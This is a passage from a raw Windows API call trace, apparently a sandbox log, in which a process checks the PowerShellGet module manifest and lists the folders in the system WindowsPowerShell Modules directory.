ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.960] FindClose (in: hFindFile=0x75c6c08 | out: hFindFile=0x75c6c08) returned 1 [0084.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec50) returned 1 [0084.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec5c) returned 1 [0084.960] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0084.960] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0084.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec28) returned 1 [0084.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843eca4 | out: lpFileInformation=0x843eca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a83f191, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0084.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec24) returned 1 [0084.962] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0084.962] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0084.962] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0084.962] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0084.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec4c) returned 1 [0084.962] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x52ae1e8 | out: lpFileInformation=0x52ae1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a83f191, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf)) returned 1 [0084.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec48) returned 1 [0084.962] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0084.962] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0084.962] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0084.962] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0084.963] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0084.963] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0084.964] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules")) returned 0x10 [0084.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec94) returned 1 [0084.964] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0084.965] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", nBufferLength=0x33, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules", lpFilePart=0x0) returned 0x32 [0084.965] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x843e9bc | out: lpFindFileData=0x843e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x55ba8b37, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x55ba8b37, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c6d08 [0084.965] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x55ba8b37, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x55ba8b37, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.966] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e35c2e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x1902eb1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0xe9611c78, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppLocker", cAlternateFileName="APPLOC~1")) returned 1 [0084.966] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e35c2e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x197a24f, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x76586f17, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvClient", cAlternateFileName="APPVCL~1")) returned 1 [0084.966] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197bc54, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Appx", cAlternateFileName="")) returned 1 [0084.967] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197c4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0084.967] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e5be8c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x197cd93, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0xe966970b, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BranchCache", cAlternateFileName="BRANCH~1")) returned 1 [0084.967] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x197d5fb, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x206e0505, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0084.967] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x19ea3b1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20706767, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectAccessClientComponents", cAlternateFileName="DIRECT~1")) returned 1 [0084.967] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x19eb58e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8cfff4c6, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dism", cAlternateFileName="")) returned 1 [0084.967] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x19ec84e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20706767, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DnsClient", cAlternateFileName="DNSCLI~1")) returned 1 [0084.967] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a636cb, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EventTracingManagement", cAlternateFileName="EVENTT~1")) returned 1 [0084.967] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a63ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="International", cAlternateFileName="INTERN~1")) returned 1 [0084.968] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a648ba, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="iSCSI", cAlternateFileName="")) returned 1 [0084.968] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a65091, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0084.968] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a65832, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kds", cAlternateFileName="")) returned 1 [0084.968] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a6609c, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0084.968] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a67503, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0084.968] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a67e99, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0084.968] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a686f1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0084.968] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1ac9e27, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0084.968] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acae81, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0084.969] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acb52e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0084.969] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acc005, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0084.969] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acdc29, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsDtc", cAlternateFileName="")) returned 1 [0084.969] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20c0ce20, ftCreationTime.dwHighDateTime=0x1d32773, ftLastAccessTime.dwLowDateTime=0x243555cf, ftLastAccessTime.dwHighDateTime=0x1d32773, ftLastWriteTime.dwLowDateTime=0x243555cf, ftLastWriteTime.dwHighDateTime=0x1d32773, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMQ", cAlternateFileName="")) returned 1 [0084.969] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acff90, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2079f100, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetAdapter", cAlternateFileName="NETADA~1")) returned 1 [0084.969] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1bb671a, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2079f100, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetConnection", cAlternateFileName="NETCON~1")) returned 1 [0084.969] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1bb70fa, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207c536a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetEventPacketCapture", cAlternateFileName="NETEVE~1")) returned 1 [0084.969] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1c2fdb4, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207c536a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetLbfo", cAlternateFileName="")) returned 1 [0084.970] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1c7d5c2, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207eb5c8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetNat", cAlternateFileName="")) returned 1 [0084.970] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1c7e767, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207eb5c8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetQos", cAlternateFileName="")) returned 1 [0084.970] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1d3e2ea, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetSecurity", cAlternateFileName="NETSEC~1")) returned 1 [0084.970] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dbbc19, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2081182e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetSwitchTeam", cAlternateFileName="NETSWI~1")) returned 1 [0084.970] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dbc877, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20837aa0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetTCPIP", cAlternateFileName="")) returned 1 [0084.971] FindNextFileW (in: hFindFile=0x75c6d08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, 